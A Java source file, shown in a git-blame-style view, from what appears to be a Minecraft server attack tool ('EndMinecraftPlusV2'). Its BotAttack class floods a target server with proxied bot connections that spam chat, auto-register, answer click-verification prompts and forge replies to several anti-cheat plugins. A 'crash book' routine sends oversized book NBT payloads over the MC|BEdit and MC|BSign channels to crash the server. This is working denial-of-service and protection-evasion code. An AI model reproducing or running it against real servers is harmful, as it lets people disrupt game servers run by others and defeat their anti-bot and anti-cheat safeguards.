2022-08-19 17:18:53 +00:00
|
|
|
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils;
|
|
|
|
|
2022-10-04 10:36:32 +00:00
|
|
|
import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2;
|
2022-08-22 14:53:05 +00:00
|
|
|
import cn.serendipityr.EndMinecraftPlusV2.Tools.*;
|
|
|
|
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager;
|
2022-08-19 17:18:53 +00:00
|
|
|
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol.AnotherStarAntiCheat;
|
|
|
|
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol.AntiCheat3;
|
2022-10-03 15:45:18 +00:00
|
|
|
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.CatAntiCheat.CatAntiCheat;
|
2022-08-19 17:18:53 +00:00
|
|
|
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol.MCForge;
|
|
|
|
import io.netty.util.internal.ConcurrentSet;
|
|
|
|
import org.spacehq.mc.protocol.MinecraftProtocol;
|
2022-10-06 10:02:12 +00:00
|
|
|
import org.spacehq.mc.protocol.data.game.ItemStack;
|
2022-08-19 17:18:53 +00:00
|
|
|
import org.spacehq.mc.protocol.data.message.Message;
|
|
|
|
import org.spacehq.mc.protocol.packet.ingame.client.ClientChatPacket;
|
|
|
|
import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
|
|
|
|
import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket;
|
|
|
|
import org.spacehq.mc.protocol.packet.ingame.server.ServerChatPacket;
|
|
|
|
import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
|
2022-08-22 16:07:04 +00:00
|
|
|
import org.spacehq.mc.protocol.packet.ingame.server.ServerKeepAlivePacket;
|
2022-08-19 17:18:53 +00:00
|
|
|
import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
|
|
|
|
import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
|
2022-10-06 10:02:12 +00:00
|
|
|
import org.spacehq.opennbt.NBTIO;
|
|
|
|
import org.spacehq.opennbt.tag.builtin.CompoundTag;
|
|
|
|
import org.spacehq.opennbt.tag.builtin.ListTag;
|
|
|
|
import org.spacehq.opennbt.tag.builtin.StringTag;
|
|
|
|
import org.spacehq.opennbt.tag.builtin.Tag;
|
2022-08-19 17:18:53 +00:00
|
|
|
import org.spacehq.packetlib.Client;
|
|
|
|
import org.spacehq.packetlib.Session;
|
|
|
|
import org.spacehq.packetlib.event.session.*;
|
2022-10-03 15:45:18 +00:00
|
|
|
import org.spacehq.packetlib.io.stream.StreamNetOutput;
|
2022-08-19 17:18:53 +00:00
|
|
|
import org.spacehq.packetlib.packet.Packet;
|
|
|
|
import org.spacehq.packetlib.tcp.TcpSessionFactory;
|
2022-08-22 14:53:05 +00:00
|
|
|
|
2022-10-03 15:45:18 +00:00
|
|
|
import java.io.ByteArrayOutputStream;
|
2022-10-06 10:02:12 +00:00
|
|
|
import java.io.DataOutputStream;
|
2022-10-03 15:45:18 +00:00
|
|
|
import java.io.IOException;
|
2022-08-19 17:18:53 +00:00
|
|
|
import java.io.OutputStream;
|
|
|
|
import java.net.InetSocketAddress;
|
|
|
|
import java.net.Proxy;
|
|
|
|
import java.net.Socket;
|
|
|
|
import java.util.*;
|
|
|
|
import java.util.concurrent.ExecutorService;
|
|
|
|
import java.util.concurrent.Executors;
|
|
|
|
|
|
|
|
public class BotAttack extends IAttack {
|
2022-10-06 12:47:11 +00:00
|
|
|
public static HashMap<Session, String> clientName = new HashMap<>();
|
2022-08-19 17:18:53 +00:00
|
|
|
public static int failed = 0;
|
|
|
|
public static int rejoin = 0;
|
|
|
|
public static int clickVerifies = 0;
|
2022-08-23 03:37:55 +00:00
|
|
|
public static List<String> rejoinPlayers = new ArrayList<>();
|
2022-10-05 17:25:40 +00:00
|
|
|
public static List<Session> joinedPlayers = new ArrayList<>();
|
2022-10-06 12:47:11 +00:00
|
|
|
public static List<Session> alivePlayers = new ArrayList<>();
|
2022-08-22 14:53:05 +00:00
|
|
|
public static HashMap<Session,ServerPlayerPositionRotationPacket> positionPacket = new HashMap<>();
|
2022-08-19 17:18:53 +00:00
|
|
|
protected boolean attack_motdbefore;
|
|
|
|
protected boolean attack_tab;
|
|
|
|
protected Map<String, String> modList;
|
|
|
|
|
|
|
|
private Thread mainThread;
|
|
|
|
private Thread tabThread;
|
|
|
|
private Thread taskThread;
|
|
|
|
|
|
|
|
public Set<Client> clients = new ConcurrentSet<>();
|
|
|
|
public ExecutorService pool = Executors.newCachedThreadPool();
|
|
|
|
|
|
|
|
private static final AntiCheat3 ac3 = new AntiCheat3();
|
|
|
|
private static final AnotherStarAntiCheat asac = new AnotherStarAntiCheat();
|
|
|
|
|
|
|
|
private long starttime;
|
|
|
|
|
|
|
|
public BotAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
|
|
|
|
super(ip, port, time, maxconnect, joinsleep);
|
|
|
|
}
|
|
|
|
|
|
|
|
public void setBotConfig(boolean motdbefore, boolean tab, Map<String, String> modList) {
|
|
|
|
this.attack_motdbefore = motdbefore;
|
|
|
|
this.attack_tab = tab;
|
|
|
|
this.modList = modList;
|
|
|
|
}
|
|
|
|
|
|
|
|
public String getRandMessage(String userName) {
|
|
|
|
return ConfigUtil.CustomChat.get(new Random().nextInt(ConfigUtil.CustomChat.size())).replace("$rnd",OtherUtils.getRandomString(4,6).replace("$pwd",DataUtil.botRegPasswordsMap.get(userName)));
|
|
|
|
}
|
|
|
|
|
|
|
|
public void start() {
|
|
|
|
setTask(() -> {
|
|
|
|
while (true) {
|
2022-10-06 12:47:11 +00:00
|
|
|
List<Session> tempList = new ArrayList<>(alivePlayers);
|
|
|
|
|
|
|
|
for (Session c:tempList) {
|
|
|
|
if (c.isConnected()) {
|
|
|
|
if (c.hasFlag("login")) {
|
2022-08-19 17:18:53 +00:00
|
|
|
if (ConfigUtil.ChatSpam) {
|
2022-10-06 12:47:11 +00:00
|
|
|
new Thread(() -> {
|
|
|
|
c.send(new ClientChatPacket(getRandMessage(clientName.get(c))));
|
|
|
|
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
|
|
|
}).start();
|
2022-08-19 17:18:53 +00:00
|
|
|
}
|
|
|
|
|
2022-08-23 05:36:18 +00:00
|
|
|
if (ConfigUtil.RandomTeleport) {
|
2022-10-06 12:47:11 +00:00
|
|
|
new Thread(() -> {
|
|
|
|
ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c);
|
|
|
|
if (c.isConnected() && positionRotationPacket != null) {
|
|
|
|
MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
|
|
|
OtherUtils.doSleep(500);
|
|
|
|
MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
|
|
|
}
|
|
|
|
}).start();
|
2022-08-23 05:36:18 +00:00
|
|
|
}
|
2022-10-06 10:02:12 +00:00
|
|
|
|
2022-10-06 12:47:11 +00:00
|
|
|
if (ConfigUtil.ServerCrasher && !c.hasFlag("crasher")) {
|
|
|
|
new Thread(() -> {
|
|
|
|
c.setFlag("crasher", true);
|
2022-10-06 10:02:12 +00:00
|
|
|
|
2022-10-06 12:47:11 +00:00
|
|
|
switch (ConfigUtil.ServerCrasherMode) {
|
|
|
|
case 1:
|
2022-10-06 10:02:12 +00:00
|
|
|
LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher");
|
|
|
|
|
2022-10-06 12:47:11 +00:00
|
|
|
while (c.isConnected()) {
|
2022-10-06 10:02:12 +00:00
|
|
|
try {
|
|
|
|
ItemStack crashBook = getCrashBook();
|
|
|
|
|
|
|
|
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
|
|
|
StreamNetOutput out = new StreamNetOutput(buf);
|
|
|
|
|
|
|
|
out.writeShort(crashBook.getId());
|
|
|
|
out.writeByte(crashBook.getAmount());
|
|
|
|
out.writeShort(crashBook.getData());
|
|
|
|
|
|
|
|
NBTIO.writeTag(new DataOutputStream(buf), crashBook.getNBT());
|
|
|
|
|
|
|
|
byte[] crashData = buf.toByteArray();
|
|
|
|
|
2022-10-06 12:47:11 +00:00
|
|
|
c.send(new ClientPluginMessagePacket("MC|BEdit", crashData));
|
|
|
|
c.send(new ClientPluginMessagePacket("MC|BSign", crashData));
|
2022-10-06 10:02:12 +00:00
|
|
|
|
2022-10-06 12:47:11 +00:00
|
|
|
OtherUtils.doSleep(ConfigUtil.ServerCrasherPacketDelay);
|
2022-10-06 10:02:12 +00:00
|
|
|
} catch (Exception ignored) {}
|
|
|
|
}
|
2022-10-06 12:47:11 +00:00
|
|
|
|
|
|
|
break;
|
|
|
|
default:
|
|
|
|
}
|
|
|
|
}).start();
|
2022-10-06 10:02:12 +00:00
|
|
|
}
|
2022-10-06 12:47:11 +00:00
|
|
|
} else {
|
2022-08-19 17:18:53 +00:00
|
|
|
if (ConfigUtil.RegisterAndLogin) {
|
2022-10-06 12:47:11 +00:00
|
|
|
try {
|
|
|
|
for (String cmd:ConfigUtil.RegisterCommands) {
|
|
|
|
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
|
|
|
c.send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
|
|
|
|
}
|
|
|
|
|
|
|
|
LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack");
|
|
|
|
|
|
|
|
c.setFlag("login", true);
|
|
|
|
} catch (Exception ignored) {}
|
|
|
|
} else {
|
|
|
|
c.setFlag("login", true);
|
2022-10-04 13:32:55 +00:00
|
|
|
}
|
2022-10-05 18:47:09 +00:00
|
|
|
|
2022-08-19 17:18:53 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
2022-10-06 12:47:11 +00:00
|
|
|
|
|
|
|
OtherUtils.doSleep(1000);
|
2022-08-19 17:18:53 +00:00
|
|
|
}
|
|
|
|
});
|
|
|
|
|
|
|
|
this.starttime = System.currentTimeMillis();
|
|
|
|
|
|
|
|
mainThread = new Thread(() -> {
|
|
|
|
while (true) {
|
|
|
|
try {
|
|
|
|
createClients(ip, port);
|
|
|
|
|
|
|
|
if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) {
|
|
|
|
for (Client c : clients) {
|
|
|
|
c.getSession().disconnect("");
|
|
|
|
}
|
2022-08-22 17:28:15 +00:00
|
|
|
|
2022-08-19 17:18:53 +00:00
|
|
|
stop();
|
|
|
|
return;
|
|
|
|
}
|
2022-08-22 17:28:15 +00:00
|
|
|
|
2022-08-23 15:50:42 +00:00
|
|
|
OtherUtils.doSleep(ConfigUtil.ConnectTimeout);
|
2022-08-19 17:18:53 +00:00
|
|
|
LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack");
|
2022-08-22 17:28:15 +00:00
|
|
|
cleanClients();
|
2022-08-19 17:18:53 +00:00
|
|
|
} catch (Exception e) {
|
|
|
|
LogUtil.doLog(1, "发生错误: " + e, null);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
});
|
|
|
|
|
|
|
|
if (this.attack_tab) {
|
|
|
|
tabThread = new Thread(() -> {
|
|
|
|
while (true) {
|
2022-08-23 03:37:55 +00:00
|
|
|
Set<Client> cacheClients = clients;
|
|
|
|
|
|
|
|
for (Client c:cacheClients) {
|
2022-10-05 18:47:09 +00:00
|
|
|
if (c.getSession().isConnected() && c.getSession().hasFlag("login")) {
|
2022-08-19 17:18:53 +00:00
|
|
|
MultiVersionPacket.sendTabPacket(c.getSession(), "/");
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
OtherUtils.doSleep(10);
|
|
|
|
}
|
|
|
|
});
|
|
|
|
}
|
|
|
|
|
|
|
|
mainThread.start();
|
|
|
|
if (tabThread != null)
|
|
|
|
tabThread.start();
|
|
|
|
if (taskThread != null)
|
|
|
|
taskThread.start();
|
|
|
|
}
|
|
|
|
|
|
|
|
@SuppressWarnings("deprecation")
|
|
|
|
public void stop() {
|
|
|
|
mainThread.stop();
|
|
|
|
if (tabThread != null)
|
|
|
|
tabThread.stop();
|
|
|
|
if (taskThread != null)
|
|
|
|
taskThread.stop();
|
|
|
|
}
|
|
|
|
|
|
|
|
public void setTask(Runnable task) {
|
|
|
|
taskThread = new Thread(task);
|
|
|
|
}
|
|
|
|
|
|
|
|
private void cleanClients() {
|
2022-08-22 17:28:15 +00:00
|
|
|
for (Client client:clients) {
|
|
|
|
if (!client.getSession().isConnected()) {
|
2022-10-05 17:25:40 +00:00
|
|
|
positionPacket.remove(client.getSession());
|
2022-10-06 12:47:11 +00:00
|
|
|
alivePlayers.remove(client.getSession());
|
|
|
|
clientName.remove(client.getSession());
|
2022-08-22 17:28:15 +00:00
|
|
|
clients.remove(client);
|
2022-10-05 17:25:40 +00:00
|
|
|
} else {
|
2022-10-06 12:47:11 +00:00
|
|
|
if (!alivePlayers.contains(client.getSession()) && (client.getSession().hasFlag("login") || client.getSession().hasFlag("join"))) {
|
|
|
|
alivePlayers.add(client.getSession());
|
2022-10-05 17:25:40 +00:00
|
|
|
}
|
2022-08-22 17:28:15 +00:00
|
|
|
}
|
|
|
|
}
|
2022-08-19 17:18:53 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
private void createClients(final String ip, int port) {
|
|
|
|
Proxy.Type proxyType;
|
|
|
|
switch (ConfigUtil.ProxyType) {
|
|
|
|
case 3:
|
|
|
|
case 2:
|
|
|
|
proxyType = Proxy.Type.SOCKS;
|
|
|
|
break;
|
|
|
|
case 1:
|
|
|
|
default:
|
|
|
|
proxyType = Proxy.Type.HTTP;
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
|
2022-10-06 12:47:11 +00:00
|
|
|
while (clients.size() > this.attack_maxconnect) {
|
|
|
|
for (String p: ProxyUtil.proxies) {
|
|
|
|
try {
|
|
|
|
if (!EndMinecraftPlusV2.isLinux) {
|
|
|
|
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
|
2022-08-23 15:50:42 +00:00
|
|
|
}
|
|
|
|
|
2022-10-06 12:47:11 +00:00
|
|
|
String[] _p = p.split(":");
|
|
|
|
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
|
|
|
String[] User = AttackManager.getRandomUser().split("@");
|
|
|
|
Client client = createClient(ip, port, User[0], proxy);
|
|
|
|
client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
|
|
|
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
|
|
|
clientName.put(client.getSession(), User[0]);
|
|
|
|
clients.add(client);
|
|
|
|
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
|
|
|
|
|
|
|
|
pool.submit(() -> {
|
|
|
|
if (this.attack_motdbefore) {
|
|
|
|
getMotd(proxy, ip, port);
|
|
|
|
}
|
2022-08-19 17:18:53 +00:00
|
|
|
|
2022-10-06 12:47:11 +00:00
|
|
|
client.getSession().connect(false);
|
|
|
|
});
|
2022-10-05 17:00:06 +00:00
|
|
|
|
2022-10-06 12:47:11 +00:00
|
|
|
if (this.attack_joinsleep > 0) {
|
|
|
|
OtherUtils.doSleep(attack_joinsleep);
|
|
|
|
}
|
|
|
|
} catch (Exception e) {
|
|
|
|
LogUtil.doLog(1, "发生错误: " + e, null);
|
2022-10-05 17:00:06 +00:00
|
|
|
}
|
2022-08-19 17:18:53 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
public Client createClient(final String ip, int port, final String username, Proxy proxy) {
|
|
|
|
Client client = new Client(ip, port, new MinecraftProtocol(username), new TcpSessionFactory(proxy));
|
2022-10-03 15:45:18 +00:00
|
|
|
if (ConfigUtil.ForgeSupport) {
|
|
|
|
modList.putAll(ConfigUtil.ForgeModList);
|
|
|
|
new MCForge(client.getSession(), modList).init();
|
|
|
|
}
|
2022-08-19 17:18:53 +00:00
|
|
|
|
|
|
|
client.getSession().addListener(new SessionListener() {
|
|
|
|
public void packetReceived(PacketReceivedEvent e) {
|
2022-08-22 17:28:15 +00:00
|
|
|
new Thread(() -> {
|
2022-10-03 15:45:18 +00:00
|
|
|
try {
|
|
|
|
handlePacket(e.getSession(), e.getPacket(), username);
|
|
|
|
} catch (IOException ex) {
|
|
|
|
throw new RuntimeException(ex);
|
|
|
|
}
|
2022-08-22 17:28:15 +00:00
|
|
|
}).start();
|
2022-08-19 17:18:53 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
public void packetSent(PacketSentEvent e) {
|
|
|
|
}
|
|
|
|
|
|
|
|
public void connected(ConnectedEvent e) {
|
2022-10-05 17:00:06 +00:00
|
|
|
if (ConfigUtil.SaveWorkingProxy) {
|
|
|
|
ProxyUtil.saveWorkingProxy(proxy);
|
|
|
|
}
|
2022-10-06 12:47:11 +00:00
|
|
|
|
|
|
|
clientName.put(client.getSession(), username);
|
2022-08-19 17:18:53 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
public void disconnecting(DisconnectingEvent e) {
|
|
|
|
}
|
|
|
|
|
|
|
|
public void disconnected(DisconnectedEvent e) {
|
2022-10-05 17:00:06 +00:00
|
|
|
new Thread(() -> {
|
|
|
|
String msg;
|
2022-08-19 17:18:53 +00:00
|
|
|
|
2022-10-05 17:00:06 +00:00
|
|
|
if (e.getCause() == null) {
|
|
|
|
msg = e.getReason();
|
|
|
|
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
|
2022-08-19 17:18:53 +00:00
|
|
|
|
2022-10-05 17:00:06 +00:00
|
|
|
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
|
|
|
|
if (rejoinPlayers.contains(username)) {
|
|
|
|
break;
|
|
|
|
}
|
2022-08-23 03:37:55 +00:00
|
|
|
|
2022-10-05 17:00:06 +00:00
|
|
|
if (msg.contains(rejoinDetect)) {
|
2022-08-23 03:37:55 +00:00
|
|
|
rejoinPlayers.add(username);
|
|
|
|
|
2022-08-22 17:28:15 +00:00
|
|
|
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
|
2022-08-23 03:37:55 +00:00
|
|
|
OtherUtils.doSleep(ConfigUtil.RejoinDelay);
|
|
|
|
|
2022-08-22 17:28:15 +00:00
|
|
|
Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
|
2022-08-23 15:50:42 +00:00
|
|
|
rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
|
|
|
rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
2022-08-22 17:28:15 +00:00
|
|
|
|
|
|
|
rejoin++;
|
|
|
|
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
|
2022-10-06 12:47:11 +00:00
|
|
|
clientName.put(rejoinClient.getSession(), username);
|
2022-08-22 17:28:15 +00:00
|
|
|
clients.add(rejoinClient);
|
|
|
|
rejoinClient.getSession().connect(false);
|
2022-08-23 03:37:55 +00:00
|
|
|
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
|
2022-08-22 17:28:15 +00:00
|
|
|
|
|
|
|
if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
|
2022-08-23 03:37:55 +00:00
|
|
|
rejoinPlayers.remove(username);
|
2022-08-22 17:28:15 +00:00
|
|
|
break;
|
|
|
|
}
|
2022-08-19 17:18:53 +00:00
|
|
|
}
|
2022-08-23 03:37:55 +00:00
|
|
|
|
|
|
|
rejoinPlayers.remove(username);
|
2022-10-05 17:00:06 +00:00
|
|
|
|
|
|
|
break;
|
|
|
|
}
|
2022-08-19 17:18:53 +00:00
|
|
|
}
|
2022-10-05 17:00:06 +00:00
|
|
|
} else if (ConfigUtil.ShowFails) {
|
2022-10-05 18:47:09 +00:00
|
|
|
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + e.getCause(), "BotAttack");
|
2022-08-19 17:18:53 +00:00
|
|
|
}
|
|
|
|
|
2022-10-05 17:00:06 +00:00
|
|
|
failed++;
|
2022-10-06 12:47:11 +00:00
|
|
|
alivePlayers.remove(client.getSession());
|
2022-10-05 17:00:06 +00:00
|
|
|
}).start();
|
2022-08-19 17:18:53 +00:00
|
|
|
}
|
|
|
|
});
|
2022-10-05 17:00:06 +00:00
|
|
|
|
2022-08-19 17:18:53 +00:00
|
|
|
return client;
|
|
|
|
}
|
|
|
|
|
|
|
|
public void getMotd(Proxy proxy, String ip, int port) {
|
|
|
|
try {
|
|
|
|
Socket socket = new Socket(proxy);
|
|
|
|
socket.connect(new InetSocketAddress(ip, port));
|
2022-10-05 17:00:06 +00:00
|
|
|
|
2022-08-19 17:18:53 +00:00
|
|
|
if (socket.isConnected()) {
|
|
|
|
OutputStream out = socket.getOutputStream();
|
|
|
|
out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
|
|
|
|
out.write(new byte[]{0x01, 0x00});
|
|
|
|
out.flush();
|
|
|
|
}
|
2022-10-05 17:00:06 +00:00
|
|
|
|
2022-08-19 17:18:53 +00:00
|
|
|
socket.close();
|
|
|
|
} catch (Exception ignored) {}
|
|
|
|
}
|
|
|
|
|
2022-10-03 15:45:18 +00:00
|
|
|
protected void handlePacket(Session session, Packet recvPacket, String username) throws IOException {
|
2022-08-19 17:18:53 +00:00
|
|
|
if (recvPacket instanceof ServerPluginMessagePacket) {
|
|
|
|
ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
|
2022-10-05 17:00:06 +00:00
|
|
|
|
2022-08-19 17:18:53 +00:00
|
|
|
switch (packet.getChannel()) {
|
|
|
|
case "AntiCheat3.4.3":
|
|
|
|
String code = ac3.uncompress(packet.getData());
|
|
|
|
byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code,
|
|
|
|
new String[]{"44f6bc86a41fa0555784c255e3174260"});
|
|
|
|
session.send(new ClientPluginMessagePacket("AntiCheat3.4.3", checkData));
|
|
|
|
break;
|
|
|
|
case "anotherstaranticheat":
|
|
|
|
String salt = asac.decodeSPacket(packet.getData());
|
|
|
|
byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt);
|
|
|
|
session.send(new ClientPluginMessagePacket("anotherstaranticheat", data));
|
|
|
|
break;
|
|
|
|
case "VexView":
|
|
|
|
if (new String(packet.getData()).equals("GET:Verification"))
|
|
|
|
session.send(new ClientPluginMessagePacket("VexView", "Verification:1.8.10".getBytes()));
|
|
|
|
break;
|
2022-10-03 15:45:18 +00:00
|
|
|
case "MAC|Check":
|
2022-10-03 16:21:36 +00:00
|
|
|
if (ConfigUtil.RandomMAC) {
|
2022-10-03 15:45:18 +00:00
|
|
|
byte[] MACAddress;
|
|
|
|
|
|
|
|
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
|
|
|
StreamNetOutput out = new StreamNetOutput(buf);
|
|
|
|
|
|
|
|
for (int i = 0; i < 6 ; i++) {
|
|
|
|
byte[] bytes = new byte[1];
|
|
|
|
new Random().nextBytes(bytes);
|
|
|
|
try {
|
|
|
|
out.writeByte(bytes[0]);
|
|
|
|
} catch (IOException e) {
|
|
|
|
throw new RuntimeException(e);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
MACAddress = buf.toByteArray();
|
|
|
|
LogUtil.doLog(0, "[" + username + "] 已发送随机MACAddress数据。(" + Arrays.toString(MACAddress) + ")", "MACCheck");
|
|
|
|
session.send(new ClientPluginMessagePacket(packet.getChannel(), MACAddress));
|
|
|
|
}
|
|
|
|
break;
|
|
|
|
case "CatAntiCheat":
|
|
|
|
case "catanticheat:data":
|
|
|
|
if (ConfigUtil.CatAntiCheat) {
|
|
|
|
CatAntiCheat.packetHandle(session, packet.getChannel(), packet.getData(), username);
|
|
|
|
}
|
|
|
|
break;
|
2022-08-19 17:18:53 +00:00
|
|
|
default:
|
|
|
|
}
|
|
|
|
} else if (recvPacket instanceof ServerJoinGamePacket) {
|
|
|
|
session.setFlag("join", true);
|
|
|
|
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
2022-10-05 17:25:40 +00:00
|
|
|
|
|
|
|
joinedPlayers.add(session);
|
2022-08-19 17:18:53 +00:00
|
|
|
|
2022-10-06 12:47:11 +00:00
|
|
|
if (!alivePlayers.contains(session)) {
|
|
|
|
alivePlayers.add(session);
|
2022-08-19 17:18:53 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
MultiVersionPacket.sendClientSettingPacket(session, "zh_CN");
|
|
|
|
MultiVersionPacket.sendClientPlayerChangeHeldItemPacket(session, 1);
|
|
|
|
} else if (recvPacket instanceof ServerPlayerPositionRotationPacket) {
|
|
|
|
try {
|
|
|
|
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
|
|
|
MultiVersionPacket.sendPosPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
|
|
|
|
session.send(new ClientPlayerMovementPacket(true));
|
|
|
|
MultiVersionPacket.sendClientTeleportConfirmPacket(session, packet);
|
2022-08-22 14:53:05 +00:00
|
|
|
|
|
|
|
if (!positionPacket.containsKey(session)) {
|
|
|
|
positionPacket.put(session, packet);
|
|
|
|
}
|
2022-08-19 17:18:53 +00:00
|
|
|
} catch (Exception ignored) {}
|
|
|
|
|
|
|
|
} else if (recvPacket instanceof ServerChatPacket) {
|
|
|
|
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
|
2022-10-05 17:00:06 +00:00
|
|
|
Message message = chatPacket.getMessage();
|
|
|
|
|
2022-10-05 18:47:09 +00:00
|
|
|
clickVerifiesHandle(message, session, username);
|
|
|
|
|
|
|
|
if (!joinedPlayers.contains(session)) {
|
|
|
|
joinedPlayers.add(session);
|
|
|
|
}
|
|
|
|
|
2022-10-05 17:25:40 +00:00
|
|
|
if (ConfigUtil.ShowServerMessages && !message.getFullText().equals("")) {
|
2022-10-05 17:00:06 +00:00
|
|
|
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message.getFullText(), "BotAttack");
|
|
|
|
}
|
2022-08-22 16:07:04 +00:00
|
|
|
} else if (recvPacket instanceof ServerKeepAlivePacket) {
|
2022-10-03 15:45:18 +00:00
|
|
|
// ClientKeepAlivePacket keepAlivePacket = new ClientKeepAlivePacket(((ServerKeepAlivePacket) recvPacket).getPingId());
|
|
|
|
// session.send(keepAlivePacket);
|
2022-10-05 17:25:40 +00:00
|
|
|
if (!joinedPlayers.contains(session)) {
|
|
|
|
joinedPlayers.add(session);
|
|
|
|
}
|
2022-08-19 17:18:53 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
public static void clickVerifiesHandle(Message message, Session session, String username) {
|
|
|
|
boolean needClick = false;
|
|
|
|
|
|
|
|
if (message.getStyle().getClickEvent() != null) {
|
|
|
|
for (String clickVerifiesDetect:ConfigUtil.ClickVerifiesDetect) {
|
|
|
|
if (message.getText().contains(clickVerifiesDetect)) {
|
|
|
|
needClick = true;
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
if (needClick) {
|
|
|
|
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + message.getStyle().getClickEvent().getValue(), "BotAttack");
|
|
|
|
session.send(new ClientChatPacket(message.getStyle().getClickEvent().getValue()));
|
|
|
|
clickVerifies++;
|
|
|
|
}
|
|
|
|
|
|
|
|
if (message.getExtra() != null && !message.getExtra().isEmpty()) {
|
|
|
|
for (Message extraMessage:message.getExtra()) {
|
|
|
|
clickVerifiesHandle(extraMessage, session, username);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
2022-10-06 10:02:12 +00:00
|
|
|
|
|
|
|
public static ItemStack getCrashBook() {
|
|
|
|
ItemStack crashBook = null;
|
|
|
|
CompoundTag nbtTag = new CompoundTag("crashBook");
|
|
|
|
List<Tag> pageList = new ArrayList<>();
|
|
|
|
|
|
|
|
// Plain Mode
|
|
|
|
nbtTag.put(new StringTag("author", OtherUtils.getRandomString(20, 20)));
|
|
|
|
nbtTag.put(new StringTag("title", OtherUtils.getRandomString(20, 20)));
|
|
|
|
|
|
|
|
for (int a = 0; a < 35; a++) {
|
|
|
|
pageList.add(new StringTag("", OtherUtils.getRandomString(600, 600)));
|
|
|
|
}
|
|
|
|
|
|
|
|
nbtTag.put(new ListTag("pages", pageList));
|
|
|
|
crashBook = new ItemStack(386, 1, 0, nbtTag);
|
|
|
|
|
|
|
|
return crashBook;
|
|
|
|
}
|
2022-08-19 17:18:53 +00:00
|
|
|
}
|